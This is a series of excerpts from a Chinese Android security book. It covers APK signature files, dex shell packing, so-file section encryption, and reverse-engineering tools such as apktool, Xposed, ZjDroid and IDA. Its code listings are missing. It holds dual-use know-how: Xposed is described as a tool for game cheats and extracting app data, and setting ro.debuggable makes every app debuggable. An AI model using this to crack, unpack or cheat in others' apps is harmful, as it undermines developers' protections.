    {"text": "图12-1 签名过程 3.jarsign和signapk工具 了解到完了签名中的三个文件的知识点之后，下面继续来看Android中签名的两个工具：jarsign和signapk 开始使用这两个工具很容易混淆，它们到底有什么区别吗？ 其实这两个工具很好理解，jarsign是jdk本身自带的一个工具，它可以对jar进行签名。 而signapk是后面专门为了Android应用程序apk进行签名的工具，它们的签名算法没什么区别，主要是签名时使用的文件不一样。 4.keystore文件和pk8、x509.pem文件的区别 上面了解到了jarsign和signapk两个工具都可以进行Android中的签名，那么它们的区别在于签名时使用的文件不一样： ·jarsign工具签名时使用的是keystore文件。 ·signapk工具签名时使用的是pk8、x509.pem文件。"},
    {"text": "在使用Eclipse工具编写程序出debug包的时候，默认用的是jarsign工具进行签名的，而且Eclipse中有一个默认签名文件，如图12-2所示。 图12-2 Eclipse中默认签名文件 有默认签名的keystore文件，当然也可以选择指定的keystore文件。"},
    {"text": "看到上面有MD5和SHA1的摘要，这个就是keystore文件中私钥的数据摘要，这个信息也是在申请很多开发平台账号的时候需要填入的信息，比如申请百度地图、微信SDK等，会需要填写应用的MD5或者SHA1信息。"},
    {"text": "5.手动签名apk包 （1）使用keytool和jarsigner来进行签名 当然，在正式签名处release包的时候，需要创建一个自己的keystore文件，如图12-3和图12-4所示。 图12-3 导出签名apk 图12-4 导出签名apk 这里可以对keystore文件起自己的名字，而且后缀名也是无关紧要的。"},
    {"text": "创建完文件之后，也会生成MD5和SHA1值，这个值可以不用记录的，可以通过命令查看keystore文件的MD5和SHA1的值：keytool-list-keystore debug.keystore，如下所示： 这里看到用Eclipse自动签名和生成一个keystore文件，也可以使用keytool工具生成一个keystore文件。"},
    {"text": "签名的过程中遇到的问题： 1）证书链找不到的问题，如下所示： 这是因为最后一个参数alias是keystore的别名输错了。 2）生成keystore文件的时候提示密码错误，如下所示： 这个原因是因为在当前目录已经有debug.ketystore了，再生成一个debug.keystore的话，就会报错。 3）找不到别名的问题，如下所示： 这个问题的原因是使用keytool生成keystore的时候，起了debug的别名，这个问题困扰了我很久，最后做了很多例子才发现的，只要keystore文件的别名是debug的话，就会报这样的错误。 这个应该和系统默认的签名debug.keystore中的别名是debug有关系。 注意： Android中是允许使用多个keystore对apk进行签名的，这里就不再粘贴命令了，创建了几个keystore对apk进行签名，如图12-5所示。 图12-5 签名文件目录 这里把签名之后的apk进行解压之后，发现有三个签名文件和证书（.SF/.DSA）。 也可以注意到，签名时用的是DSA算法，这里的文件后缀名就是DSA，而且文件名是keystore的别名，这里算是理清了如何使用keytool产生keystore，以及用jarsigner来进行签名。 （2）用signapk来进行签名 下面再来看看signapk工具进行签名： 这里需要两个文件.pk8和.x509.pem： ·pk8是私钥文件。"},
    {"text": "需要注意的是：signapk签名之后的apk，META-INF文件夹中的三个文件的名字，如图12-6所示。 图12-6 签名文件 因为signapk在前面的时候不像jarsigner会自动使用别名来命名文件，就是写死了是CERT的名字，不过文件名不影响的，后面分析Android中的apk校验过程中会说道，只会通过后缀名来查找文件。 （3）两种的签名方式有什么区别 jarsigner签名时用的是keystore文件，signapk签名时用的是pk8和x509.pem文件，而且都是给apk进行签名的，那么keystore文件和pk8、x509.pem之间是不是有什么联系呢？"},
    {"text": "未知 12.2 Android中签名流程 下面开始从源码中去分析Android中的签名机制和原理流程。因为网上没有找到jarsigner的源码，但是找到了signapk的源码，下面就来看看signapk的源码：源码位置是com/android/signapk/sign.java。 通过上面的签名可以看到，Android签名apk之后，会有一个META-INF目录，这里有三个文件： ·MANIFEST.MF ·CERT.SF ·CERT.RSA 下面来看看这三个文件到底是干啥的。 1.MANIFEST.MF文件 这个文件主要包括apk文件中所有文件的数据摘要内容，如下所示： 下面来看看源码： 在main函数中，需要输入四个参数，然后开始写MANIFEST.MF文件内容： 进入方法manifest.write（outputJar）： 代码逻辑很简单，主要看那个循环的意思：除了三个文件（MANIFEST.MF、CERT.RSA、CERT.SF）之外都会对其他文件内容做一次SHA1算法，就是计算出文件的摘要信息，然后用Base64进行编码即可，下面用工具来做个案例看看是不是这样：首先安装工具：HashTab，这个工具网上有，可以自行搜索下载。然后网上搜索在线计算Base64。 下面就开始验证工作吧。验证一下AndroidManifest.xml文件，首先在MANIFEST.MF文件中找到这个条目，记录SHA1的值，如下所示： 安装HashTab之后，找到AndroidManifest.xml文件，右击，选择Hashtab，如图12-7所示。 复制SHA-1的值：9C64812DE7373B201C294101473636A3697FD73C，到上面的那个Base64转化网站，转化一下，如图12-8所示。 图12-7 查看文件的SHA-1值 图12-8 SHA-1值转化 nGSBLec3OyAcKUEBRzY2o2l/1zw=和MANIFEST.MF中的条目内容一模一样。 那么从上面的分析就知道了，其实MANIFEST.MF中存储的是这样的内容：逐一遍历里面所有条目，如果是目录就跳过，如果是一个文件，就用SHA1（或者SHA256）消息摘要算法提取出该文件的摘要然后进行BASE64编码后，作为“SHA1-Digest”属性的值写入到MANIFEST.MF文件中的一个块中。该块还有一个“Name”属性，其值就是该文件在apk包中的路径。 2.CERT.SF文件 这个文件主要是前面MANIFEST.MF文件的每个块内容的数据摘要信息，如下所示： 这里的内容感觉和MANIFEST.MF的内容差不多，来看看代码吧： 进入到writeSignatureFile方法中： 首先可以看到，需要对之前的MANIFEST.MF文件整个内容做一个SHA1放到SHA1-Digest-Manifest字段中。 看看manifest变量就是刚刚写入了MANIFEST.MF文件的，这个可以验证一下，如图12-9所示。 然后转化一下，如图12-10所示。 图12-9 查看文件的SHA-1值 图12-10 SHA-1值转化成Base64 看到了吧，和文件中的值是一样的，如下所示： 下面继续看代码，有一个循环： 这里还是用到了刚刚传入的mainfest变量，遍历它的条目内容，然后进行SHA算法计算，再用Base64计算一下。其实就是对MANIFEST.MF文件中的每个条目内容做一次SHA，再保存一下即可。 做个例子验证一下：用AndroidManifest.xml为例，把MANIFEST.MF文件中的条目拷贝保存到txt文档中，如图12-11所示。 图12-11 签名文件格式 这里需要注意的是，保存之后，需要添加两个换行，可以在代码中看到逻辑如下所示： 然后计算txt文档的SHA值，如图12-12和图12-13所示。 图12-12 查看文件签名 图12-13 Base64转码 看到了吧，这里计算的值是一样的，如下所示： 到这里就知道CERT.SF文件做了什么，如下所示： 1）计算MANIFEST.MF文件的整体SHA1值，再经过BASE64编码后，记录在CERT.SF主属性块（在文件头上）的“SHA1-Digest-Manifest”属性值值下。 2）逐条计算MANIFEST.MF文件中每一个块的SHA1，并经过BASE64编码后，记录在CERT.SF中的同名块中，属性的名字是“SHA1-Digest”。 3.CERT.RSA文件 这个文件就是对前面CERT.SF文件做签名操作之后的结果，也就是前面提到的签名文件，如下所示： 看到都是二进制文件，因为RSA文件加密了，所以需要用openssl命令才能查看其内容，如下所示： 关于这些信息，可以参考图12-14的解释。 来看一下代码： 图12-14 rsa文件格式说明 这里会把之前生成的CERT.SF文件用私钥计算出签名，然后将签名以及包含公钥信息的数字证书一同写入CERT.RSA保存。CERT.RSA是一个满足PKCS7格式的文件。"},
    {"text": "未知 12.3 Android中为何采用这种签名机制 本节总结一下Android中为何要用这种方式进行加密签名，如果apk文件被篡改后会发生什么。 首先，如果改变了apk包中的任何文件，那么在apk安装校验时，改变后的文件摘要信息与MANIFEST.MF的检验信息不同，于是验证失败，程序就不能成功安装。其次，如果对更改过的文件算出新的摘要值，然后更改MANIFEST.MF文件里面对应的属性值，那么必定与CERT.SF文件中算出的摘要值不一样，照样验证失败。最后，如果你还不死心，继续计算MANIFEST.MF的摘要值，相应地更改CERT.SF里面的值，那么数字签名值必定与CERT.RSA文件中记录的不一样，还是失败。 那么能不能继续伪造数字签名呢？不可能，因为没有数字证书对应的私钥。所以，如果要重新打包后的应用程序能在Android设备上安装，必须对其进行重签名。 从上面的分析可以得出，只要修改了apk中的任何内容，就必须重新签名，不然会提示安装失败。 在分析了签名技术之后，无意中发现一个问题，就是CERT.SF和MANIFEST.MF这两个文件中内容的name字段都是apk中的资源名，那么就有一个问题了，如果资源名很长，而且apk中的资源很多，那么这两个文件就会很大，这里是不是可以优化呢？确实是可以的。这里不多详细解析，感兴趣的同学可以去看一下开源框架AndResGuard。 未知 12.4 本章小结 本章主要介绍了Android中的apk签名机制知识点，有了这套签名机制，可以做到应用防止被重新打包二次签名的风险。 未知 第13章 Android应用加固原理 本章介绍Android中对apk进行加固的原理。现阶段Android中的反编译工作越来越容易操作，开发者辛苦地开发出一个apk，结果被人反编译了，那心情真心不舒服。虽然加入混淆，做到native层，但是这都是治标不治本的办法。反编译的技术在更新，那么保护apk的技术就不能停止。现在网上有很多apk加固的第三方平台，例如爱加密和梆梆等。有些人认为加固技术很高深，其实不然，加固技术就是对源apk进行加密，然后再套上一层壳即可。当然还有一些细节需要处理，这就是本章需要介绍的内容。 未知 13.1 加固原理解析 下面就来看一下Android中加固的原理，如图13-1所示。 图13-1 加固结构图 在加固的过程中需要三个对象： ·需要加密的apk（源apk） ·自己的壳程序apk（负责解密apk工作） ·加密工具（将源apk进行加密和壳dex合并成新的dex） 加固的主要步骤： 拿到需要加密的apk（源apk）和自己的壳程序apk，然后用加密算法对源apk进行加密，再将壳apk进行合并得到新的dex文件，最后替换壳程序中的dex文件即可，得到新的apk，那么这个新的apk也叫作脱壳程序apk。它已经不是一个完整意义上的apk程序了，它的主要工作是：负责解密源apk，然后加载apk，让其正常运行起来。 在这个过程中可能需要了解的一个知识是：如何将源apk和壳apk进行合并成新的dex。这就需要了解dex文件的格式了。在第7章中已经详细介绍了dex文件格式了，下面就来简单回顾一下dex文件的格式。 主要来看一下dex文件的头部信息，其实dex文件和class文件的格式分析原理都是一样的，它们都有固定的格式，现在反编译的一些工具如下所示： ·jd-gui：可以查看jar中的类，其实它就是解析class文件，只要了解class文件的格式就可以。 ·dex2jar：将dex文件转化成jar，原理也是一样的，只要知道dex文件的格式，能够解析出dex文件中的类信息就可以了。 当然在分析这个文件的时候，最重要的还是头部信息，它是一个文件的开始部分，也是索引部分，内部信息很重要，如图13-2所示。 图13-2 dex文件头部结构图 只要关注图中标记的三个部分： 1）checksum：文件校验码，使用alder32算法校验文件除去maigc、checksum外余下的所有文件区域，用于检查文件错误。 2）signature：使用SHA-1算法hash除去magic、checksum和signature外余下的所有文件区域，用于唯一识别本文件。 3）file_size：dex文件的大小。 为什么说只需要关注这三个字段呢？因为需要将一个文件（加密之后的源apk）写入到dex文件中，那么肯定需要修改文件校验码（checksum）。因为它检查文件是否有错误。signature也是一样，也是唯一识别文件的算法。还需要修改dex文件的大小。 不过这里还需要一个操作，就是标注一下加密的apk的大小，因为在脱壳的时候，需要知道apk的大小，才能正确得到apk。那么这个值放到哪呢？直接放到文件的末尾就可以了。 总结一下需要做的步骤：修改dex的三个文件头，将源apk的大小追加到新的dex末尾就可以了。修改之后得到新的dex文件样式如图13-3所示。 图13-3 apk加固原理图 知道原理后就来看代码实现，这里有三个项目： ·源程序项目（需要加密的apk） ·加壳项目（对源apk进行加密，和脱壳项目的dex进行合并） ·脱壳项目（解密源apk和加载apk）"},
    {"text": "未知 13.2 案例分析 根据上节分析得知，加固后新的dex文件中有三个项目，本节来依次看一下这三个项目的代码实现。 1.需要加密的源程序apk项目：ForceApkObj 需要一个Application类，如图13-4所示。 图13-4 加固apk项目结构图 下面来分析一下MyApplication源码： 就是打印一下onCreate方法。继续来分析一下MainActivity源码： 也是简单地打印一下内容。 2.加壳程序项目：DexShellTools 加壳程序其实就是一个Java项目，它的工作就是加密源apk，然后将其写入脱壳dex文件中，修改文件头，得到一个新的dex文件即可，如图13-5所示。 图13-5 加壳项目说明 下面来分析一下具体代码： 下面来详细分析一下具体代码逻辑： 实框部分其实就是最核心的工作。 1）加密源程序apk文件： 加密算法如下所示： 对每个字节进行异或一下即可。 提示： 这里是为了简单起见，就用了很简单的加密算法。其实为了增加破解难度，应该使用更高效的加密算法，同时最好将加密操作放到native层去做。 2）合并文件：将加密之后的apk和原脱壳dex进行合并： 3）在文件的末尾追加源程序apk的长度： 4）修改新dex文件的文件头信息：file_size；sha1；check_sum： 具体修改可以参照之前说的文件头格式，修改指定位置的字节值即可。 这里还需要两个输入文件： ·源apk文件：ForceApkObj.apk ·脱壳程序的dex文件：ForceApkObj.dex 第一个文件都知道，就是上面的源程序编译之后的apk文件，第二个文件怎么得到呢？这个就是要讲到的第三个项目：脱壳程序项目。 3.脱壳项目：ReforceApk 脱壳项目是一个Android项目，在编译之后，能够得到它的classes.dex文件，然后修改一下名称就可，如图13-6所示。 图13-6 脱壳项目结构图 在讲解这个项目之前，先来了解一下这个脱壳项目的工作。 1）通过反射置换android.app.ActivityThread中的mClassLoader是加载解密出apk的DexClassLoader，该DexClassLoader一方面加载了源程序，另一方面以原mClassLoader为父节点，这就保证了既加载了源程序又没有放弃原先加载的资源与系统代码。 关于这部分内容，不了解的可以看一下ActivityThread.java的源码： 2）找到源程序的Application，通过反射建立并运行。 这里需要注意的是，现在是加载一个完整的apk，让它运行起来，一个apk程序运行的时候都是有一个Application对象的，这个也是一个程序运行之后的全局类。所以必须找到解密之后的源apk的Application类，运行它的onCreate方法，这样源apk才开始它的运行生命周期。这里如何得到源apk的Application的类呢？这个后面会说到。使用meta标签进行设置。 下面来看一下整体的流程图，如图13-7所示。 图13-7 加载流程 首先来看一下具体步骤的代码实现逻辑： 1）得到脱壳apk中的dex文件，然后从这个文件中得到源程序apk，进行解密，最后进行加载，代码如下： 这里需要注意的一个问题是，需要找到一个时机在脱壳程序还没有运行起来的时候来加载源程序的apk，执行它的onCreate方法，那么这个时机不能太晚，不然的话，就是运行脱壳程序，而不是源程序了。查看源码知道Application中有一个方法即attachBaseContext方法，它在Application的onCreate方法执行前就会执行了，那么所有的工作就需要在这里进行。 2）从脱壳程序apk中找到源程序apk，并且进行解密操作： 脱壳解密操作一定要和之前的加壳以及加密操作对应，不然就会出现dex加载错误问题。 从apk中获取到dex文件： 其实就是解压apk文件，直接得到dex文件即可。 从脱壳Dex中得到源apk文件： 解密源程序apk： 解密算法和加密算法是一致的。 3）加载解密之后的源程序apk： 4）找到源程序的Application程序，让其运行： 直接在脱壳的Application中的onCreate方法中进行就可以了。这里还可以看到是通过AndroidManifest.xml中的meta标签获取源程序apk中的Application对象的。 下面来看一下AndoridManifest.xml文件中的内容，如下所示： 在这里定义了源程序apk的Application类名。 提示： 项目下载为 http://download.csdn.net/detail/jiangwei0910410003/9102741"},
    {"text": "未知 13.3 运行项目 上节介绍了这三个项目，下面就来看看如何运行吧。 第一步：得到源程序apk文件和脱壳程序的dex文件 运行源程序项目和脱壳程序项目，得到源程序apk文件和脱壳程序的dex文件，如图13-8所示。 图13-8 项目结构图 之后得到这两个文件（记得将classes.dex文件改名ForceApkObj.dex），然后使用加壳程序进行加壳，如图13-9所示。 这里的ForceApkObj.apk文件和ForceApkObj.dex文件是输入文件，输出的是classes.dex文件。 第二步：替换脱壳程序中的classes.dex文件 在第一步中得到加壳之后的classes.dex文件之后，并且在第一步运行脱壳项目的时候得到一个ReforceApk.apk文件，这时候使用解压缩软件进行替换，如图13-10所示。 图13-9 加壳程序 图13-10 压缩软件查看apk内容 第三步：得到替换之后的ReforceApk.apk文件 这个文件因为被修改了，所以需要重新对它签名，不然运行也是报错的。这里可以使用jarsigner工具对apk进行重签名： 这里最主要的命令就是中间的一条签名的命令，关于命令的参数说明如下： 例如： 那么通过上面的三个步骤之后得到一个签名之后的最终文件：ReforceApk_des.apk。安装这个apk，然后运行，效果如图13-11所示。 图13-11 运行效果图 这个时候再去反编译一下源程序apk，如下所示（这个文件是脱壳出来的payload.apk，看ReforeceApk中的代码就知道它的位置了）： 发现dex文件格式是不正确的。说明加固是成功的。 总结遇到的问题如下： ·研究的过程中遇到签名不正确的地方，开始的时候替换dex文件，就直接运行了apk，但是总是提示签名不正确。 ·运行的过程中说找不到源程序中的Activity，需要在脱壳程序中的AndroidManifest.xml中查看一下源程序中的Activity，如下所示： 通过上面的过程可以看到，关于apk加固的工作还是挺复杂的，涉及的东西也挺多，下面就来总结一下。 加壳程序： ·任务：对源程序apk进行加密，合并脱壳程序的dex文件，然后输入一个加壳之后的dex文件。 ·语言：任何语言都可以，不限于Java语言。 ·技术点：对dex文件格式的解析。 脱壳程序： ·任务：获取源程序apk，进行解密，然后动态加载进来，运行程序。 ·语言：Android项目（Java）。 ·技术点：如何从apk中获取dex文件，动态加载apk，使用反射运行Application。 未知 13.4 本章小结 Android中的apk反编译可能是每个开发者都会经历的事，但是源程序的开发者对apk加固应运而生，即使是加固，也还是做不到那么安全，现在网上也有很多文章在解析某品牌加固的原理了，而且有人破解成功了，那么加固还不是怎么安全。最后一句话：逆向和加固是一个永不停息的战争。 未知 第14章 Android中的so加固原理 前一章已经介绍了Android中dex加固原理，虽然dex加固是一种防护策略，但是它仍然存在被破解的风险，所以本章就来介绍另外一种加固方法，对so文件的加固防护，这种加固方式和dex加固方式来比较的话，安全性会更高，因为native层的代码会比较难以破解和阅读。"},
    {"text": "未知 14.1 基于对so中的section加密实现so加固 在前面章节中已经详细介绍了so文件格式，有了这个知识作为基础，下面就来讲解如何对so文件进行加密。 14.1.1 技术原理 加密过程： 找到so文件中一个section的起始地址和大小就可以对这个section进行加密了。 解密过程： 因为对section进行加密之后，肯定需要解密，不然运行肯定报错，这里的重点是什么时候去进行解密。"},
    {"text": "关于这个属性的用法这里就不做介绍了，网上有相关资料，它的作用是优先于main方法之前执行，类似于Java中的构造函数，当然C++中的构造函数是基于这个属性实现的，在之前第4章介绍ELF文件格式的时候，有两个section会引起注意，如图14-1所示。"},
    {"text": "图14-1 ELF文件的段信息 用这个属性实现的函数存在两个section，在动态链接器构造了进程映像，并执行了重定位以后，每个共享的目标都获得执行某些初始化代码的机会。"},
    {"text": "14.1.2 实现方案 编写一个简单的native代码，需要做两件事： ·将核心的native函数定义在自己的一个section中，这里会用到这个属性：__attribute__（（section（“.mytext”）））；"},
    {"text": "编写加密程序，在加密程序中需要做的是： ·通过解析so文件，找到.mytext段的起始地址和大小，思路是：找到所有的section，然后获取它的name字段，再结合String Section，遍历找到.mytext字段。 ·找到.mytext段之后进行加密，最后再写入到文件中。"},
    {"text": "1.native程序 先来看看大致代码逻辑： 下面来分析一下代码： 1）定义自己的段： 其中getString返回一个字符串，提供给Android上层，然后将getString函数定义在.mytext段中。"},
    {"text": "2）获取so加载到内存中的起始地址： 读取设备的proc/<uid>/maps中的内容，因为这个maps中是程序运行的内存映像，如下所示： 只有获取到so的起始地址，才能找到指定的section，然后进行解密。"},
    {"text": "为什么是这样获取偏移地址和大小的呢，其实这里做了一点工作，就是在加密的时候顺便改写了so的头部信息，将偏移地址和大小值写到了头部中，这样加大破解难度。"},
    {"text": "然后修改这个section的内存操作权限： 这里调用了一个系统函数：mprotect，其参数如下： ·需要修改内存的起始地址，必须需要页面对齐，也就是必须是页面PAGE_SIZE（0x1000=4096）的整数倍。"},
    {"text": "然后使用ndk编译成so即可，这里用到了系统的打印log信息，所以需要设置共享库，看一下编译脚本Android.mk： 2.加密程序 获取到上面的so文件，下面就来看看如何进行加密的： 需要解析so文件的头部信息、程序头信息、段头信息，如下所示： 关于如何解析这里就不详细说明了，不了解的读者可以去查看前面第4章介绍so文件格式内容。"},
    {"text": "获取这些信息之后，下面就来开始寻找section信息了，只需要遍历section列表，找到名字是.mytext的section即可，然后获取偏移地址和大小，对内容进行加密，回写到文件中。"},
    {"text": "当然需要知道的一个知识点就是：StringSection中的每个name都是以'\\0'结尾的，所以只需要判断字符串到结束符就可以了，判断方法如下： 加密完成之后，需要做的是回写到so文件中，当然还需要做一件事，就是将加密的.mytext段的偏移值和pageSize保存到头部信息中： 看到这里读者可能会困惑，这样修改了so的头部信息的话，在加载运行so文件的时候不会报错吗？"},
    {"text": "·对于动态链接库，e_entry入口地址是无意义的，因为程序被加载时，设定的跳转地址是动态连接器的地址，这个字段是可以被作为数据填充的。"},
    {"text": "在上面加密完成之后，可以验证一下，使用readelf命令查看一下，如图14-2所示。 图14-2 查看so文件内容 从上面的内容可以看到，so文件内容已经显示错乱了，加密成功。 再用IDA查看一下，如图14-3和图14-4所示。 图14-3 IDA打开so文件（一） 图14-4 IDA打开so文件（二） 会有错误提示，但是点击OK，还是成功打开了so文件，使用ctrl+s查看section信息的时候，如图14-5所示。 图14-5 查看加密之后的section信息 也没有看到section信息，可以看一下没有加密前的效果，如图14-6所示。 图14-6 so加密之前的section信息 既然加密成功了，那么下面验证一下能否运行成功。 3.Android测试demo 在获取加密之后的so文件后，用Android工程测试一下： 运行结果如图14-7所示。 图14-7 运行效果 提示： 案例下载地址为 http://download.csdn.net/detail/jiangwei0910410003/9288051 14.1.4 总结 加密流程： 1）从so文件头读取section偏移shoff、shnum和shstrtab。"},
    {"text": "4）通过shdr->sh_name在str字符串中索引，与.mytext进行字符串比较，如果不匹配，继续读取。 5）通过shdr->sh_offset和shdr->sh_size字段，将.mytext内容读取并保存在content中。"},
    {"text": "8）为了验证第二节中关于section字段可以任意修改的结论，这里，将shdr->addr写入ELF头e_shoff，将shdr->sh_size和addr所在内存块写入e_entry中，即ehdr.e_entry=（length<<16）+nsize。"},
    {"text": "通过e_shoff获得.mytext内存加载地址，ehdr.e_entry获取.mytext大小和所在内存块。 4）修改.mytext所在内存块的读写权限。 5）将[e_shoff，e_shoff+size]内存区域数据解密，即取反操作：*content=~（*content）。 6）修改回内存区域的读写权限。 这里是对代码段的数据进行解密，需要写权限。 如果对数据段的数据解密，是不需要更改权限而直接操作的。"},
    {"text": "那么先来了解一下so中函数的表现形式：在so文件中，每个函数的结构描述是存放在.dynsym段中的。 每个函数的名称保存在.dynstr段中的，类似于之前说过的每个section的名称都保存在.shstrtab段中，所以在上一节中找到指定section的时候，就是通过每个section的sh_name字段到.shstrtab中寻找名字即可，而且知道.shstrtab这个section在头文件中是有一个index的，就是在所有段列表中的索引值，所以很好定位.shstrtab。 但是在本节内容中可能遇到一个问题，就是不能按照这种方式去查找指定函数名了，如下所示： 可能有的人意识到一个方法，就是可以通过section的type来获取.dynsym和.dynstr。 看到上图中.dynsym类型是：DYNSYM，.dynstr类型是STRTAB，但是这种方法是不行的，因为这个type不是唯一的，也就说不同的section，type可能相同，没办法区分，比如.shstrtab和.dynstr的type都是STRTAB.其实从这里就知道这两个段的区别了：.shstrtab值存储段的名称，.dynstr是存储so中的所有符号名称。"},
    {"text": "图14-8 符号表索引 bucket数组包含nbucket个项目，chain数组包含nchain个项目，下标都是从0开始。 bucket和chain中都保存符号表索引。 chain表项和符号表存在对应。 符号表项的数目应该和nchain相等，所以符号表的索引也可用来选取chain表项。"},
    {"text": "哈希函数能够接受符号名并且返回一个可以用来计算bucket的索引。 因此，如果哈希函数针对某个名字返回了数值X，则bucket[X%nbucket]给出了一个索引y，该索引可用于符号表，也可用于chain表。"},
    {"text": "上面的描述感觉有点复杂，其实说的简单点就是：用目标函数名在用hash函数得到一个hash值，然后再做一些计算就可以得到这个函数在.dynsym段中这个函数对应的条目了。 关于这个hash函数是公用的，在Android中的bonic/linker.c源码中也是可以找到的： 那么只要得到.hash段即可，但是怎么获取到这个section中呢？ so中并没有对这个section进行数据结构的描述，有人可能想到了在上图中看到.hash段的type是HASH，那么再通过这个type来获取？"},
    {"text": "在之前也说过，so被加载到内存之后，就没有section了，对应的是segment，也就是程序头中描述的结构，而且一个segment可以包含多个section，相同的section可以被包含到不同的segment中。"},
    {"text": "可以解析了程序头信息之后，通过type获取到.dynamic程序头信息，然后获取到segment的偏移地址和大小，再进行解析成elf32_dyn结构。 下面代码就是程序头的type类型和dyn结构描述，可以在elf.h中找到： 图14-9 so文件的装载视图和链接视图 这里的三个字段含义如下： ·d_tag：标示，标示这个dyn是什么类型，是.dynsym还是.dynstr等。"},
    {"text": "这种方式和之前说的通过type来寻找section有两个不同之处： ·在程序头信息中，type标示.dynamic段是唯一的，所以可以通过type来进行寻找。 ·看到上面的链接视图和装载视图发现，这种通过程序头中的信息来查找.dysym等section靠谱点，因为当so被加载到内存中，就不存在了section了，只有segment了。"},
    {"text": "14.2.3 代码实现 1.native程序 代码如下： 代码逻辑和前一节的加密section中的代码类似，只是在寻找函数的地方有点不同，在加密的代码中说明一下。"},
    {"text": "1）定位到.dynamic的segment，解析成elf32_dyn结构信息： 这里有一个解析elf32_dyn结构： 需要注意的是，elf32_dyn中用到了联合体union结构，Java中是不存在这个类型的，所以需要了解这个联合体的含义，虽然是三个字段，但是大小是8个字节，而不是12字节。"},
    {"text": "提示： 案例下载地址为 http://download.csdn.net/detail/jiangwei0910410003/9289009 3.测试Android项目 用加密之后的so文件来测试一下： 图14-10 IDA查看so文件 图14-11 加密前so的内容 运行结果如图14-12所示。"},
    {"text": "未知 14.3 本章小结 本章主要介绍了通过加密so中的section和函数来实现加固功能，有了这个so加固方案之后，可以让App开发更加安全，破解难度加大。但是也不能说是绝对安全了，比如现在破解者在init_getString函数下断点，然后动态调试一下，就可以很轻易地破解了，而且通过dump出内存中运行的dex也是可以做到的。所以，没有绝对的安全，只有相对的攻防。 未知 工具篇 第15章 Android逆向分析基础 第16章 反编译神器apktool和Jadx 第17章 Hook神器Xposed 第18章 脱壳神器ZjDroid 第19章 Native层Hook神器Cydia Substrate 未知 第15章 Android逆向分析基础 Android逆向技术不是陌生的话题，网上已经有很多资料，本章主要介绍一下关于逆向分析apk的时候需要做些什么。在逆向之前必须有好工具，其次是还需要掌握逆向的基本知识：smali语法和arm指令，能够大致读懂程序。 未知 15.1 逆向工具 这里介绍几个工具，而且这几个工具在后面的章节中都会用到。 1.反编译利器apktool 这个工具用Java语言写的，而且也是开源的，同时它是逆向的金钥匙，所以非常重要，而且现在很多apk为了防止被这个工具反编译，就针对这个工具的漏洞做了一层防护策略，如果要成功反编译各个apk的话，那么就必须看懂它的源码，然后针对具体反编译异常具体分析，修复异常即可。 2.反编译姐妹花dex2jar+jd-gui 这两个工具其实是辅助使用的，一般是直接解压apk得到classes.dex文件，使用dex2jar转化成jar文件，使用jd-gui来直接查看Java源码。 3.反编译友好工具JEB和Jadx 这两个工具其实是整合了上面两个工具的功能，让反编译实现了可视化操作，而且高效快捷，适合在快速分析apk内部信息的场景，也是不可或缺的工具。 4.Hook神器Xposed框架 这个工具主要用于编写游戏外挂，获取应用关键数据此工具也可以算得上神器，有了它，逆向App就是手到擒来的事，用它可以把每个App的关键逻辑分析得非常清楚。 5.Native Hook神器Cydia Substrate 这个工具和上面的Xposed框架非常类似，但是这个工具除了可以Hook Java层功能，还可以很方便地Hook Native层功能。对于一些游戏和应用有so文件，可以利用这个框架进行hook so中的指定函数功能。 6.脱壳神器ZjDroid工具 现在很多应用为了安全，做了加固策略，那么逆向中有一个技术是脱壳就是针对加固策略的。所谓脱壳就是要把原本加固的应用进行解密，那么ZjDroid工具就是一款脱壳神器。这个工具其实是基于前面的Xposed框架编写的。 7.堪称神器的工具IDA 这个工具不用多解释了，如果说搞逆向不知道这个工具，那就等于还没有进入逆向的大门，比较可惜的是它是收费的。这个工具最厉害的地方就是它能够分析so文件，同时可以动态调试so，而且可以打开apk文件，dex文件也是不在话下的。 未知 15.2 逆向基本知识 要学习逆向，除了有利的工具，还需要了解一些基本知识，比如smali语法、arm指令、Android中的NDK开发等，因为这些都是在逆向过程中经常会用到的知识。 smali语法是逆向的基础核心知识，有的人觉得这个是否是一门新的语言？其实不然，它的语法非常简单，熟悉起来非常方便。比如后面章节会利用smali语法手动插入代码，而并不是需要手动编写smali代码，可以先用Java编写好功能，再反编译成smali代码，再手动插入即可。但是简单的smali语法还是需要看懂，比如赋值、方法调用等操作，具体smali语法知识，在后面章节会详细介绍。 arm指令就不多说了，在大学期间就有这门课，不过很多人可能在项目开发中并没有用到，但是arm指令知识对于逆向来说也是至关重要，也是最为复杂的，现在很多应用为了更加安全就把代码都放到了so中，这样在逆向so文件的时候就必须要了解arm指令，才能大致看懂逻辑代码，才能继续后面工作。arm指令也并非那么复杂，多看多读就会慢慢熟练了。相关命令在后面章节会详细介绍。"},
    {"text": "其实Android中有一些常用的配置信息都是存放在一个文件中，如下所示，比如设备的系统、版本号、CPU型号等信息，这个文件位置在：/system/build.prop。"},
    {"text": "同时Android中提供了两个命令来操作这些信息：getprop和setprop命令，如下所示： 查看系统的sdk版本号如下所示： 设置系统的sdk版本号为22，可是这里并没有修改成功，原因是因为ro开头的属性是不允许后期修改的。"},
    {"text": "既然Android中的一些系统属性值存放在一个文件中，而且这些值是只读的，当然不仅可以通过getprop命令读取，有一个API也是可以直接读取的，就是： 其实这个方法是native层实现的，具体就不分析了。 那么这个文件是存储这些属性值的，是谁来进行解析加载到内存中，能够给每个App都能访问到呢？ 这个工作就是init.rc进程操作的，系统启动时第一步就是解析init.rc文件，这个文件是在系统的根目录下，这里会做很多初始化操作，同时会做属性文件的解析工作，所以Android属性系统通过系统服务提供系统配置和状态的管理。"},
    {"text": "所有进程都可以访问属性值，但是只有init进程可以修改属性值，其他进程若想修改属性值，需要向init进程发出请求，最终由init进程负责修改属性值。"},
    {"text": "上面说到的是system/build.prop文件。 里面主要是系统的配置信息，其实还有一个重要文件在根目录下面：default.prop，如下所示： 这里有一个重要属性ro.debuggable，关系到系统中每个应用是否能够被调试的关键。"},
    {"text": "在Android系统中一个应用能否被调试是这么判断的：当Dalvik虚拟机从Android应用框架中启动时，系统属性ro.debuggable为1，如果该值被置1，系统中所有的程序都是可以调试的。 如果系统中的ro.debuggable为0，则会判断程序的AndroidManifest.xml中application标签中的android：debuggable元素是否为true，如果为true则开启调试支持。 这相当于Android系统中有一个开关，即根目录中default.prop文件中的ro.debuggable属性值，可用于调试所有设备中的应用。 如果把这个属性值设置成1，设备中所有应用都可以被调试，即使在AndroidManifest.xml中没有android：debuggable=true，还是可以调试的。"},
